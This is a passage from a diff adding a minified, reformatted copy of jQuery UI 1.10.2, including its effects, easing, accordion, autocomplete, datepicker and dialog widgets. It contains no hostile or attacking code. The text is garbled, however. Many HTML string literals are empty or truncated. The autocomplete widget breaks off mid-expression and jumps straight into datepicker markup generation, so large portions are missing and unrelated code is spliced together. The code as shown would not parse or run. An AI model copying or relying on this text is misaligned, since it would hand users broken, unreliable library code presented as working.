') + .addClass('ui-effects-wrapper') + .css({ + fontSize: '100%', + background: 'transparent', + border: 'none', + margin: 0, + padding: 0, + }), + n = {width: e.width(), height: e.height()}, + o = document.activeElement; + try { + o.id; + } catch (a) { + o = document.body; + } + return ( + e.wrap(s), + (e[0] === o || t.contains(e[0], o)) && t(o).focus(), + (s = e.parent()), + 'static' === e.css('position') + ? (s.css({position: 'relative'}), + e.css({position: 'relative'})) + : (t.extend(i, { + position: e.css('position'), + zIndex: e.css('z-index'), + }), + t.each( + ['top', 'left', 'bottom', 'right'], + function (t, s) { + (i[s] = e.css(s)), + isNaN(parseInt(i[s], 10)) && + (i[s] = 'auto'); + }, + ), + e.css({ + position: 'relative', + top: 0, + left: 0, + right: 'auto', + bottom: 'auto', + })), + e.css(n), + s.css(i).show() + ); + }, + removeWrapper: function (e) { + var i = document.activeElement; + return ( + e.parent().is('.ui-effects-wrapper') && + (e.parent().replaceWith(e), + (e[0] === i || t.contains(e[0], i)) && + t(i).focus()), + e + ); + }, + setTransition: function (e, i, s, n) { + return ( + (n = n || {}), + t.each(i, function (t, i) { + var o = e.cssUnit(i); + o[0] > 0 && (n[i] = o[0] * s + o[1]); + }), + n + ); + }, + }), + t.fn.extend({ + effect: function () { + function e(e) { + function s() { + t.isFunction(o) && o.call(n[0]), + t.isFunction(e) && e(); + } + var n = t(this), + o = i.complete, + r = i.mode; + (n.is(':hidden') ? 'hide' === r : 'show' === r) + ? (n[r](), s()) + : a.call(n[0], i, s); + } + var i = s.apply(this, arguments), + n = i.mode, + o = i.queue, + a = t.effects.effect[i.effect]; + return t.fx.off || !a + ? n + ? this[n](i.duration, i.complete) + : this.each(function () { + i.complete && i.complete.call(this); + }) + : o === !1 + ? this.each(e) + : this.queue(o || 'fx', e); + }, + show: (function (t) { + return function (e) { + if (n(e)) return t.apply(this, arguments); + var i = s.apply(this, arguments); + return ( + (i.mode = 'show'), this.effect.call(this, i) + ); + }; + })(t.fn.show), + hide: (function (t) { + return function (e) { + if (n(e)) return t.apply(this, arguments); + var i = s.apply(this, arguments); + return ( + (i.mode = 'hide'), this.effect.call(this, i) + ); + }; + })(t.fn.hide), + toggle: (function (t) { + return function (e) { + if (n(e) || 'boolean' == typeof e) + return t.apply(this, arguments); + var i = s.apply(this, arguments); + return ( + (i.mode = 'toggle'), + this.effect.call(this, i) + ); + }; + })(t.fn.toggle), + cssUnit: function (e) { + var i = this.css(e), + s = []; + return ( + t.each( + ['em', 'px', '%', 'pt'], + function (t, e) { + i.indexOf(e) > 0 && + (s = [parseFloat(i), e]); + }, + ), + s + ); + }, + }); + })(), + (function () { + var e = {}; + t.each( + ['Quad', 'Cubic', 'Quart', 'Quint', 'Expo'], + function (t, i) { + e[i] = function (e) { + return Math.pow(e, t + 2); + }; + }, + ), + t.extend(e, { + Sine: function (t) { + return 1 - Math.cos((t * Math.PI) / 2); + }, + Circ: function (t) { + return 1 - Math.sqrt(1 - t * t); + }, + Elastic: function (t) { + return 0 === t || 1 === t + ? t + : -Math.pow(2, 8 * (t - 1)) * + Math.sin( + ((80 * (t - 1) - 7.5) * Math.PI) / 15, + ); + }, + Back: function (t) { + return t * t * (3 * t - 2); + }, + Bounce: function (t) { + for ( + var e, i = 4; + ((e = Math.pow(2, --i)) - 1) / 11 > t; + + ); + return ( + 1 / Math.pow(4, 3 - i) - + 7.5625 * Math.pow((3 * e - 2) / 22 - t, 2) + ); + }, + }), + t.each(e, function (e, i) { + (t.easing['easeIn' + e] = i), + (t.easing['easeOut' + e] = function (t) { + return 1 - i(1 - t); + }), + (t.easing['easeInOut' + e] = function (t) { + return 0.5 > t + ? i(2 * t) / 2 + : 1 - i(-2 * t + 2) / 2; + }); + }); + })(); + })(jQuery), + (function (t) { + var e = 0, + i = {}, + s = {}; + (i.height = + i.paddingTop = + i.paddingBottom = + i.borderTopWidth = + i.borderBottomWidth = + 'hide'), + (s.height = + s.paddingTop = + s.paddingBottom = + s.borderTopWidth = + s.borderBottomWidth = + 'show'), + t.widget('ui.accordion', { + version: '1.10.2', + options: { + active: 0, + animate: {}, + collapsible: !1, + event: 'click', + header: '> li > :first-child,> :not(li):even', + heightStyle: 'auto', + icons: { + activeHeader: 'ui-icon-triangle-1-s', + header: 'ui-icon-triangle-1-e', + }, + activate: null, + beforeActivate: null, + }, + _create: function () { + var e = this.options; + (this.prevShow = this.prevHide = t()), + this.element + .addClass('ui-accordion ui-widget ui-helper-reset') + .attr('role', 'tablist'), + e.collapsible || + (e.active !== !1 && null != e.active) || + (e.active = 0), + this._processPanels(), + 0 > e.active && (e.active += this.headers.length), + this._refresh(); + }, + _getCreateEventData: function () { + return { + header: this.active, + panel: this.active.length ? this.active.next() : t(), + content: this.active.length ? this.active.next() : t(), + }; + }, + _createIcons: function () { + var e = this.options.icons; + e && + (t('') + .addClass( + 'ui-accordion-header-icon ui-icon ' + e.header, + ) + .prependTo(this.headers), + this.active + .children('.ui-accordion-header-icon') + .removeClass(e.header) + .addClass(e.activeHeader), + this.headers.addClass('ui-accordion-icons')); + }, + _destroyIcons: function () { + this.headers + .removeClass('ui-accordion-icons') + .children('.ui-accordion-header-icon') + .remove(); + }, + _destroy: function () { + var t; + this.element + .removeClass('ui-accordion ui-widget ui-helper-reset') + .removeAttr('role'), + this.headers + .removeClass( + 'ui-accordion-header ui-accordion-header-active ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top', + ) + .removeAttr('role') + .removeAttr('aria-selected') + .removeAttr('aria-controls') + .removeAttr('tabIndex') + .each(function () { + /^ui-accordion/.test(this.id) && + this.removeAttribute('id'); + }), + this._destroyIcons(), + (t = this.headers + .next() + .css('display', '') + .removeAttr('role') + .removeAttr('aria-expanded') + .removeAttr('aria-hidden') + .removeAttr('aria-labelledby') + .removeClass( + 'ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-state-disabled', + ) + .each(function () { + /^ui-accordion/.test(this.id) && + this.removeAttribute('id'); + })), + 'content' !== this.options.heightStyle && + t.css('height', ''); + }, + _setOption: function (t, e) { + return 'active' === t + ? (this._activate(e), undefined) + : ('event' === t && + (this.options.event && + this._off(this.headers, this.options.event), + this._setupEvents(e)), + this._super(t, e), + 'collapsible' !== t || + e || + this.options.active !== !1 || + this._activate(0), + 'icons' === t && + (this._destroyIcons(), e && this._createIcons()), + 'disabled' === t && + this.headers + .add(this.headers.next()) + .toggleClass('ui-state-disabled', !!e), + undefined); + }, + _keydown: function (e) { + if (!e.altKey && !e.ctrlKey) { + var i = t.ui.keyCode, + s = this.headers.length, + n = this.headers.index(e.target), + o = !1; + switch (e.keyCode) { + case i.RIGHT: + case i.DOWN: + o = this.headers[(n + 1) % s]; + break; + case i.LEFT: + case i.UP: + o = this.headers[(n - 1 + s) % s]; + break; + case i.SPACE: + case i.ENTER: + this._eventHandler(e); + break; + case i.HOME: + o = this.headers[0]; + break; + case i.END: + o = this.headers[s - 1]; + } + o && + (t(e.target).attr('tabIndex', -1), + t(o).attr('tabIndex', 0), + o.focus(), + e.preventDefault()); + } + }, + _panelKeyDown: function (e) { + e.keyCode === t.ui.keyCode.UP && + e.ctrlKey && + t(e.currentTarget).prev().focus(); + }, + refresh: function () { + var e = this.options; + this._processPanels(), + ((e.active === !1 && e.collapsible === !0) || + !this.headers.length) && + ((e.active = !1), (this.active = t())), + e.active === !1 + ? this._activate(0) + : this.active.length && + !t.contains(this.element[0], this.active[0]) + ? this.headers.length === + this.headers.find('.ui-state-disabled').length + ? ((e.active = !1), (this.active = t())) + : this._activate(Math.max(0, e.active - 1)) + : (e.active = this.headers.index(this.active)), + this._destroyIcons(), + this._refresh(); + }, + _processPanels: function () { + (this.headers = this.element + .find(this.options.header) + .addClass( + 'ui-accordion-header ui-helper-reset ui-state-default ui-corner-all', + )), + this.headers + .next() + .addClass( + 'ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom', + ) + .filter(':not(.ui-accordion-content-active)') + .hide(); + }, + _refresh: function () { + var i, + s = this.options, + n = s.heightStyle, + o = this.element.parent(), + a = (this.accordionId = + 'ui-accordion-' + (this.element.attr('id') || ++e)); + (this.active = this._findActive(s.active) + .addClass( + 'ui-accordion-header-active ui-state-active ui-corner-top', + ) + .removeClass('ui-corner-all')), + this.active + .next() + .addClass('ui-accordion-content-active') + .show(), + this.headers + .attr('role', 'tab') + .each(function (e) { + var i = t(this), + s = i.attr('id'), + n = i.next(), + o = n.attr('id'); + s || + ((s = a + '-header-' + e), i.attr('id', s)), + o || + ((o = a + '-panel-' + e), + n.attr('id', o)), + i.attr('aria-controls', o), + n.attr('aria-labelledby', s); + }) + .next() + .attr('role', 'tabpanel'), + this.headers + .not(this.active) + .attr({'aria-selected': 'false', tabIndex: -1}) + .next() + .attr({ + 'aria-expanded': 'false', + 'aria-hidden': 'true', + }) + .hide(), + this.active.length + ? this.active + .attr({'aria-selected': 'true', tabIndex: 0}) + .next() + .attr({ + 'aria-expanded': 'true', + 'aria-hidden': 'false', + }) + : this.headers.eq(0).attr('tabIndex', 0), + this._createIcons(), + this._setupEvents(s.event), + 'fill' === n + ? ((i = o.height()), + this.element + .siblings(':visible') + .each(function () { + var e = t(this), + s = e.css('position'); + 'absolute' !== s && + 'fixed' !== s && + (i -= e.outerHeight(!0)); + }), + this.headers.each(function () { + i -= t(this).outerHeight(!0); + }), + this.headers + .next() + .each(function () { + t(this).height( + Math.max( + 0, + i - + t(this).innerHeight() + + t(this).height(), + ), + ); + }) + .css('overflow', 'auto')) + : 'auto' === n && + ((i = 0), + this.headers + .next() + .each(function () { + i = Math.max( + i, + t(this).css('height', '').height(), + ); + }) + .height(i)); + }, + _activate: function (e) { + var i = this._findActive(e)[0]; + i !== this.active[0] && + ((i = i || this.active[0]), + this._eventHandler({ + target: i, + currentTarget: i, + preventDefault: t.noop, + })); + }, + _findActive: function (e) { + return 'number' == typeof e ? this.headers.eq(e) : t(); + }, + _setupEvents: function (e) { + var i = {keydown: '_keydown'}; + e && + t.each(e.split(' '), function (t, e) { + i[e] = '_eventHandler'; + }), + this._off(this.headers.add(this.headers.next())), + this._on(this.headers, i), + this._on(this.headers.next(), { + keydown: '_panelKeyDown', + }), + this._hoverable(this.headers), + this._focusable(this.headers); + }, + _eventHandler: function (e) { + var i = this.options, + s = this.active, + n = t(e.currentTarget), + o = n[0] === s[0], + a = o && i.collapsible, + r = a ? t() : n.next(), + h = s.next(), + l = { + oldHeader: s, + oldPanel: h, + newHeader: a ? t() : n, + newPanel: r, + }; + e.preventDefault(), + (o && !i.collapsible) || + this._trigger('beforeActivate', e, l) === !1 || + ((i.active = a ? !1 : this.headers.index(n)), + (this.active = o ? t() : n), + this._toggle(l), + s.removeClass( + 'ui-accordion-header-active ui-state-active', + ), + i.icons && + s + .children('.ui-accordion-header-icon') + .removeClass(i.icons.activeHeader) + .addClass(i.icons.header), + o || + (n + .removeClass('ui-corner-all') + .addClass( + 'ui-accordion-header-active ui-state-active ui-corner-top', + ), + i.icons && + n + .children('.ui-accordion-header-icon') + .removeClass(i.icons.header) + .addClass(i.icons.activeHeader), + n + .next() + .addClass('ui-accordion-content-active'))); + }, + _toggle: function (e) { + var i = e.newPanel, + s = this.prevShow.length ? this.prevShow : e.oldPanel; + this.prevShow.add(this.prevHide).stop(!0, !0), + (this.prevShow = i), + (this.prevHide = s), + this.options.animate + ? this._animate(i, s, e) + : (s.hide(), i.show(), this._toggleComplete(e)), + s.attr({ + 'aria-expanded': 'false', + 'aria-hidden': 'true', + }), + s.prev().attr('aria-selected', 'false'), + i.length && s.length + ? s.prev().attr('tabIndex', -1) + : i.length && + this.headers + .filter(function () { + return 0 === t(this).attr('tabIndex'); + }) + .attr('tabIndex', -1), + i + .attr({ + 'aria-expanded': 'true', + 'aria-hidden': 'false', + }) + .prev() + .attr({'aria-selected': 'true', tabIndex: 0}); + }, + _animate: function (t, e, n) { + var o, + a, + r, + h = this, + l = 0, + c = t.length && (!e.length || t.index() < e.index()), + u = this.options.animate || {}, + d = (c && u.down) || u, + p = function () { + h._toggleComplete(n); + }; + return ( + 'number' == typeof d && (r = d), + 'string' == typeof d && (a = d), + (a = a || d.easing || u.easing), + (r = r || d.duration || u.duration), + e.length + ? t.length + ? ((o = t.show().outerHeight()), + e.animate(i, { + duration: r, + easing: a, + step: function (t, e) { + e.now = Math.round(t); + }, + }), + t.hide().animate(s, { + duration: r, + easing: a, + complete: p, + step: function (t, i) { + (i.now = Math.round(t)), + 'height' !== i.prop + ? (l += i.now) + : 'content' !== + h.options.heightStyle && + ((i.now = Math.round( + o - e.outerHeight() - l, + )), + (l = 0)); + }, + }), + undefined) + : e.animate(i, r, a, p) + : t.animate(s, r, a, p) + ); + }, + _toggleComplete: function (t) { + var e = t.oldPanel; + e + .removeClass('ui-accordion-content-active') + .prev() + .removeClass('ui-corner-top') + .addClass('ui-corner-all'), + e.length && + (e.parent()[0].className = e.parent()[0].className), + this._trigger('activate', null, t); + }, + }); + })(jQuery), + (function (t) { + var e = 0; + t.widget('ui.autocomplete', { + version: '1.10.2', + defaultElement: '', + options: { + appendTo: null, + autoFocus: !1, + delay: 300, + minLength: 1, + position: { + my: 'left top', + at: 'left bottom', + collision: 'none', + }, + source: null, + change: null, + close: null, + focus: null, + open: null, + response: null, + search: null, + select: null, + }, + pending: 0, + _create: function () { + var e, + i, + s, + n = this.element[0].nodeName.toLowerCase(), + o = 'textarea' === n, + a = 'input' === n; + (this.isMultiLine = o + ? !0 + : a + ? !1 + : this.element.prop('isContentEditable')), + (this.valueMethod = this.element[o || a ? 'val' : 'text']), + (this.isNewMenu = !0), + this.element + .addClass('ui-autocomplete-input') + .attr('autocomplete', 'off'), + this._on(this.element, { + keydown: function (n) { + if (this.element.prop('readOnly')) + return (e = !0), (s = !0), (i = !0), undefined; + (e = !1), (s = !1), (i = !1); + var o = t.ui.keyCode; + switch (n.keyCode) { + case o.PAGE_UP: + (e = !0), this._move('previousPage', n); + break; + case o.PAGE_DOWN: + (e = !0), this._move('nextPage', n); + break; + case o.UP: + (e = !0), this._keyEvent('previous', n); + break; + case o.DOWN: + (e = !0), this._keyEvent('next', n); + break; + case o.ENTER: + case o.NUMPAD_ENTER: + this.menu.active && + ((e = !0), + n.preventDefault(), + this.menu.select(n)); + break; + case o.TAB: + this.menu.active && this.menu.select(n); + break; + case o.ESCAPE: + this.menu.element.is(':visible') && + (this._value(this.term), + this.close(n), + n.preventDefault()); + break; + default: + (i = !0), this._searchTimeout(n); + } + }, + keypress: function (s) { + if (e) + return (e = !1), s.preventDefault(), undefined; + if (!i) { + var n = t.ui.keyCode; + switch (s.keyCode) { + case n.PAGE_UP: + this._move('previousPage', s); + break; + case n.PAGE_DOWN: + this._move('nextPage', s); + break; + case n.UP: + this._keyEvent('previous', s); + break; + case n.DOWN: + this._keyEvent('next', s); + } + } + }, + input: function (t) { + return s + ? ((s = !1), t.preventDefault(), undefined) + : (this._searchTimeout(t), undefined); + }, + focus: function () { + (this.selectedItem = null), + (this.previous = this._value()); + }, + blur: function (t) { + return this.cancelBlur + ? (delete this.cancelBlur, undefined) + : (clearTimeout(this.searching), + this.close(t), + this._change(t), + undefined); + }, + }), + this._initSource(), + (this.menu = t('
' + + (U[0] > 0 && D === U[1] - 1 + ? "
" + : '') + : '')), + (x += P); + } + y += x; + } + return (y += l), (t._keyEvent = !1), y; + }, + _generateMonthYearHeader: function (t, e, i, s, n, o, a, r) { + var h, + l, + c, + u, + d, + p, + f, + g, + m = this._get(t, 'changeMonth'), + v = this._get(t, 'changeYear'), + _ = this._get(t, 'showMonthAfterYear'), + b = "
", + y = ''; + if (o || !m) + y += + "" + a[e] + ''; + else { + for ( + h = s && s.getFullYear() === i, + l = n && n.getFullYear() === i, + y += + "'; + } + if ( + (_ || (b += y + (!o && m && v ? '' : ' ')), + !t.yearshtml) + ) + if (((t.yearshtml = ''), o || !v)) + b += + "" + i + ''; + else { + for ( + u = this._get(t, 'yearRange').split(':'), + d = new Date().getFullYear(), + p = function (t) { + var e = t.match(/c[+\-].*/) + ? i + parseInt(t.substring(1), 10) + : t.match(/[+\-].*/) + ? d + parseInt(t, 10) + : parseInt(t, 10); + return isNaN(e) ? d : e; + }, + f = p(u[0]), + g = Math.max(f, p(u[1] || '')), + f = s ? Math.max(f, s.getFullYear()) : f, + g = n ? Math.min(g, n.getFullYear()) : g, + t.yearshtml += + "'), + (b += t.yearshtml), + (t.yearshtml = null); + } + return ( + (b += this._get(t, 'yearSuffix')), + _ && (b += (!o && m && v ? '' : ' ') + y), + (b += '
') + ); + }, + _adjustInstDate: function (t, e, i) { + var s = t.drawYear + ('Y' === i ? e : 0), + n = t.drawMonth + ('M' === i ? e : 0), + o = + Math.min(t.selectedDay, this._getDaysInMonth(s, n)) + + ('D' === i ? e : 0), + a = this._restrictMinMax( + t, + this._daylightSavingAdjust(new Date(s, n, o)), + ); + (t.selectedDay = a.getDate()), + (t.drawMonth = t.selectedMonth = a.getMonth()), + (t.drawYear = t.selectedYear = a.getFullYear()), + ('M' === i || 'Y' === i) && this._notifyChange(t); + }, + _restrictMinMax: function (t, e) { + var i = this._getMinMaxDate(t, 'min'), + s = this._getMinMaxDate(t, 'max'), + n = i && i > e ? i : e; + return s && n > s ? s : n; + }, + _notifyChange: function (t) { + var e = this._get(t, 'onChangeMonthYear'); + e && + e.apply(t.input ? t.input[0] : null, [ + t.selectedYear, + t.selectedMonth + 1, + t, + ]); + }, + _getNumberOfMonths: function (t) { + var e = this._get(t, 'numberOfMonths'); + return null == e ? [1, 1] : 'number' == typeof e ? [1, e] : e; + }, + _getMinMaxDate: function (t, e) { + return this._determineDate(t, this._get(t, e + 'Date'), null); + }, + _getDaysInMonth: function (t, e) { + return ( + 32 - + this._daylightSavingAdjust(new Date(t, e, 32)).getDate() + ); + }, + _getFirstDayOfMonth: function (t, e) { + return new Date(t, e, 1).getDay(); + }, + _canAdjustMonth: function (t, e, i, s) { + var n = this._getNumberOfMonths(t), + o = this._daylightSavingAdjust( + new Date(i, s + (0 > e ? e : n[0] * n[1]), 1), + ); + return ( + 0 > e && + o.setDate( + this._getDaysInMonth(o.getFullYear(), o.getMonth()), + ), + this._isInRange(t, o) + ); + }, + _isInRange: function (t, e) { + var i, + s, + n = this._getMinMaxDate(t, 'min'), + o = this._getMinMaxDate(t, 'max'), + a = null, + r = null, + h = this._get(t, 'yearRange'); + return ( + h && + ((i = h.split(':')), + (s = new Date().getFullYear()), + (a = parseInt(i[0], 10)), + (r = parseInt(i[1], 10)), + i[0].match(/[+\-].*/) && (a += s), + i[1].match(/[+\-].*/) && (r += s)), + (!n || e.getTime() >= n.getTime()) && + (!o || e.getTime() <= o.getTime()) && + (!a || e.getFullYear() >= a) && + (!r || r >= e.getFullYear()) + ); + }, + _getFormatConfig: function (t) { + var e = this._get(t, 'shortYearCutoff'); + return ( + (e = + 'string' != typeof e + ? e + : (new Date().getFullYear() % 100) + + parseInt(e, 10)), + { + shortYearCutoff: e, + dayNamesShort: this._get(t, 'dayNamesShort'), + dayNames: this._get(t, 'dayNames'), + monthNamesShort: this._get(t, 'monthNamesShort'), + monthNames: this._get(t, 'monthNames'), + } + ); + }, + _formatDate: function (t, e, i, s) { + e || + ((t.currentDay = t.selectedDay), + (t.currentMonth = t.selectedMonth), + (t.currentYear = t.selectedYear)); + var n = e + ? 'object' == typeof e + ? e + : this._daylightSavingAdjust(new Date(s, i, e)) + : this._daylightSavingAdjust( + new Date(t.currentYear, t.currentMonth, t.currentDay), + ); + return this.formatDate( + this._get(t, 'dateFormat'), + n, + this._getFormatConfig(t), + ); + }, + }), + (t.fn.datepicker = function (e) { + if (!this.length) return this; + t.datepicker.initialized || + (t(document).mousedown(t.datepicker._checkExternalClick), + (t.datepicker.initialized = !0)), + 0 === t('#' + t.datepicker._mainDivId).length && + t('body').append(t.datepicker.dpDiv); + var i = Array.prototype.slice.call(arguments, 1); + return 'string' != typeof e || + ('isDisabled' !== e && 'getDate' !== e && 'widget' !== e) + ? 'option' === e && + 2 === arguments.length && + 'string' == typeof arguments[1] + ? t.datepicker['_' + e + 'Datepicker'].apply( + t.datepicker, + [this[0]].concat(i), + ) + : this.each(function () { + 'string' == typeof e + ? t.datepicker['_' + e + 'Datepicker'].apply( + t.datepicker, + [this].concat(i), + ) + : t.datepicker._attachDatepicker(this, e); + }) + : t.datepicker['_' + e + 'Datepicker'].apply( + t.datepicker, + [this[0]].concat(i), + ); + }), + (t.datepicker = new i()), + (t.datepicker.initialized = !1), + (t.datepicker.uuid = new Date().getTime()), + (t.datepicker.version = '1.10.2'), + (window['DP_jQuery_' + r] = t); + })(jQuery), + (function (t) { + var e = { + buttons: !0, + height: !0, + maxHeight: !0, + maxWidth: !0, + minHeight: !0, + minWidth: !0, + width: !0, + }, + i = {maxHeight: !0, maxWidth: !0, minHeight: !0, minWidth: !0}; + t.widget('ui.dialog', { + version: '1.10.2', + options: { + appendTo: 'body', + autoOpen: !0, + buttons: [], + closeOnEscape: !0, + closeText: 'close', + dialogClass: '', + draggable: !0, + hide: null, + height: 'auto', + maxHeight: null, + maxWidth: null, + minHeight: 150, + minWidth: 150, + modal: !1, + position: { + my: 'center', + at: 'center', + of: window, + collision: 'fit', + using: function (e) { + var i = t(this).css(e).offset().top; + 0 > i && t(this).css('top', e.top - i); + }, + }, + resizable: !0, + show: null, + title: null, + width: 300, + beforeClose: null, + close: null, + drag: null, + dragStart: null, + dragStop: null, + focus: null, + open: null, + resize: null, + resizeStart: null, + resizeStop: null, + }, + _create: function () { + (this.originalCss = { + display: this.element[0].style.display, + width: this.element[0].style.width, + minHeight: this.element[0].style.minHeight, + maxHeight: this.element[0].style.maxHeight, + height: this.element[0].style.height, + }), + (this.originalPosition = { + parent: this.element.parent(), + index: this.element + .parent() + .children() + .index(this.element), + }), + (this.originalTitle = this.element.attr('title')), + (this.options.title = + this.options.title || this.originalTitle), + this._createWrapper(), + this.element + .show() + .removeAttr('title') + .addClass('ui-dialog-content ui-widget-content') + .appendTo(this.uiDialog), + this._createTitlebar(), + this._createButtonPane(), + this.options.draggable && + t.fn.draggable && + this._makeDraggable(), + this.options.resizable && + t.fn.resizable && + this._makeResizable(), + (this._isOpen = !1); + }, + _init: function () { + this.options.autoOpen && this.open(); + }, + _appendTo: function () { + var e = this.options.appendTo; + return e && (e.jquery || e.nodeType) + ? t(e) + : this.document.find(e || 'body').eq(0); + }, + _destroy: function () { + var t, + e = this.originalPosition; + this._destroyOverlay(), + this.element + .removeUniqueId() + .removeClass('ui-dialog-content ui-widget-content') + .css(this.originalCss) + .detach(), + this.uiDialog.stop(!0, !0).remove(), + this.originalTitle && + this.element.attr('title', this.originalTitle), + (t = e.parent.children().eq(e.index)), + t.length && t[0] !== this.element[0] + ? t.before(this.element) + : e.parent.append(this.element); + }, + widget: function () { + return this.uiDialog; + }, + disable: t.noop, + enable: t.noop, + close: function (e) { + var i = this; + this._isOpen && + this._trigger('beforeClose', e) !== !1 && + ((this._isOpen = !1), + this._destroyOverlay(), + this.opener.filter(':focusable').focus().length || + t(this.document[0].activeElement).blur(), + this._hide(this.uiDialog, this.options.hide, function () { + i._trigger('close', e); + })); + }, + isOpen: function () { + return this._isOpen; + }, + moveToTop: function () { + this._moveToTop(); + }, + _moveToTop: function (t, e) { + var i = !!this.uiDialog + .nextAll(':visible') + .insertBefore(this.uiDialog).length; + return i && !e && this._trigger('focus', t), i; + }, + open: function () { + var e = this; + return this._isOpen + ? (this._moveToTop() && this._focusTabbable(), undefined) + : ((this._isOpen = !0), + (this.opener = t(this.document[0].activeElement)), + this._size(), + this._position(), + this._createOverlay(), + this._moveToTop(null, !0), + this._show(this.uiDialog, this.options.show, function () { + e._focusTabbable(), e._trigger('focus'); + }), + this._trigger('open'), + undefined); + }, + _focusTabbable: function () { + var t = this.element.find('[autofocus]'); + t.length || (t = this.element.find(':tabbable')), + t.length || (t = this.uiDialogButtonPane.find(':tabbable')), + t.length || + (t = this.uiDialogTitlebarClose.filter(':tabbable')), + t.length || (t = this.uiDialog), + t.eq(0).focus(); + }, + _keepFocus: function (e) { + function i() { + var e = this.document[0].activeElement, + i = + this.uiDialog[0] === e || + t.contains(this.uiDialog[0], e); + i || this._focusTabbable(); + } + e.preventDefault(), i.call(this), this._delay(i); + }, + _createWrapper: function () { + (this.uiDialog = t('
') + .addClass( + 'ui-dialog ui-widget ui-widget-content ui-corner-all ui-front ' + + this.options.dialogClass, + ) + .hide() + .attr({tabIndex: -1, role: 'dialog'}) + .appendTo(this._appendTo())), + this._on(this.uiDialog, { + keydown: function (e) { + if ( + this.options.closeOnEscape && + !e.isDefaultPrevented() && + e.keyCode && + e.keyCode === t.ui.keyCode.ESCAPE + ) + return ( + e.preventDefault(), this.close(e), undefined + ); + if (e.keyCode === t.ui.keyCode.TAB) { + var i = this.uiDialog.find(':tabbable'), + s = i.filter(':first'), + n = i.filter(':last'); + (e.target !== n[0] && + e.target !== this.uiDialog[0]) || + e.shiftKey + ? (e.target !== s[0] && + e.target !== this.uiDialog[0]) || + !e.shiftKey || + (n.focus(1), e.preventDefault()) + : (s.focus(1), e.preventDefault()); + } + }, + mousedown: function (t) { + this._moveToTop(t) && this._focusTabbable(); + }, + }), + this.element.find('[aria-describedby]').length || + this.uiDialog.attr({ + 'aria-describedby': this.element + .uniqueId() + .attr('id'), + }); + }, + _createTitlebar: function () { + var e; + (this.uiDialogTitlebar = t('
') + .addClass( + 'ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix', + ) + .prependTo(this.uiDialog)), + this._on(this.uiDialogTitlebar, { + mousedown: function (e) { + t(e.target).closest('.ui-dialog-titlebar-close') || + this.uiDialog.focus(); + }, + }), + (this.uiDialogTitlebarClose = t('') + .button({ + label: this.options.closeText, + icons: {primary: 'ui-icon-closethick'}, + text: !1, + }) + .addClass('ui-dialog-titlebar-close') + .appendTo(this.uiDialogTitlebar)), + this._on(this.uiDialogTitlebarClose, { + click: function (t) { + t.preventDefault(), this.close(t); + }, + }), + (e = t('') + .uniqueId() + .addClass('ui-dialog-title') + .prependTo(this.uiDialogTitlebar)), + this._title(e), + this.uiDialog.attr({'aria-labelledby': e.attr('id')}); + }, + _title: function (t) { + this.options.title || t.html(' '), + t.text(this.options.title); + }, + _createButtonPane: function () { + (this.uiDialogButtonPane = t('
').addClass( + 'ui-dialog-buttonpane ui-widget-content ui-helper-clearfix', + )), + (this.uiButtonSet = t('
') + .addClass('ui-dialog-buttonset') + .appendTo(this.uiDialogButtonPane)), + this._createButtons(); + }, + _createButtons: function () { + var e = this, + i = this.options.buttons; + return ( + this.uiDialogButtonPane.remove(), + this.uiButtonSet.empty(), + t.isEmptyObject(i) || (t.isArray(i) && !i.length) + ? (this.uiDialog.removeClass('ui-dialog-buttons'), + undefined) + : (t.each(i, function (i, s) { + var n, o; + (s = t.isFunction(s) ? {click: s, text: i} : s), + (s = t.extend({type: 'button'}, s)), + (n = s.click), + (s.click = function () { + n.apply(e.element[0], arguments); + }), + (o = {icons: s.icons, text: s.showText}), + delete s.icons, + delete s.showText, + t('', s) + .button(o) + .appendTo(e.uiButtonSet); + }), + this.uiDialog.addClass('ui-dialog-buttons'), + this.uiDialogButtonPane.appendTo(this.uiDialog), + undefined) + ); + }, + _makeDraggable: function () { + function e(t) { + return {position: t.position, offset: t.offset}; + } + var i = this, + s = this.options; + this.uiDialog.draggable({ + cancel: '.ui-dialog-content, .ui-dialog-titlebar-close', + handle: '.ui-dialog-titlebar', + containment: 'document', + start: function (s, n) { + t(this).addClass('ui-dialog-dragging'), + i._blockFrames(), + i._trigger('dragStart', s, e(n)); + }, + drag: function (t, s) { + i._trigger('drag', t, e(s)); + }, + stop: function (n, o) { + (s.position = [ + o.position.left - i.document.scrollLeft(), + o.position.top - i.document.scrollTop(), + ]), + t(this).removeClass('ui-dialog-dragging'), + i._unblockFrames(), + i._trigger('dragStop', n, e(o)); + }, + }); + }, + _makeResizable: function () { + function e(t) { + return { + originalPosition: t.originalPosition, + originalSize: t.originalSize, + position: t.position, + size: t.size, + }; + } + var i = this, + s = this.options, + n = s.resizable, + o = this.uiDialog.css('position'), + a = 'string' == typeof n ? n : 'n,e,s,w,se,sw,ne,nw'; + this.uiDialog + .resizable({ + cancel: '.ui-dialog-content', + containment: 'document', + alsoResize: this.element, + maxWidth: s.maxWidth, + maxHeight: s.maxHeight, + minWidth: s.minWidth, + minHeight: this._minHeight(), + handles: a, + start: function (s, n) { + t(this).addClass('ui-dialog-resizing'), + i._blockFrames(), + i._trigger('resizeStart', s, e(n)); + }, + resize: function (t, s) { + i._trigger('resize', t, e(s)); + }, + stop: function (n, o) { + (s.height = t(this).height()), + (s.width = t(this).width()), + t(this).removeClass('ui-dialog-resizing'), + i._unblockFrames(), + i._trigger('resizeStop', n, e(o)); + }, + }) + .css('position', o); + }, + _minHeight: function () { + var t = this.options; + return 'auto' === t.height + ? t.minHeight + : Math.min(t.minHeight, t.height); + }, + _position: function () { + var t = this.uiDialog.is(':visible'); + t || this.uiDialog.show(), + this.uiDialog.position(this.options.position), + t || this.uiDialog.hide(); + }, + _setOptions: function (s) { + var n = this, + o = !1, + a = {}; + t.each(s, function (t, s) { + n._setOption(t, s), + t in e && (o = !0), + t in i && (a[t] = s); + }), + o && (this._size(), this._position()), + this.uiDialog.is(':data(ui-resizable)') && + this.uiDialog.resizable('option', a); + }, + _setOption: function (t, e) { + var i, + s, + n = this.uiDialog; + 'dialogClass' === t && + n.removeClass(this.options.dialogClass).addClass(e), + 'disabled' !== t && + (this._super(t, e), + 'appendTo' === t && + this.uiDialog.appendTo(this._appendTo()), + 'buttons' === t && this._createButtons(), + 'closeText' === t && + 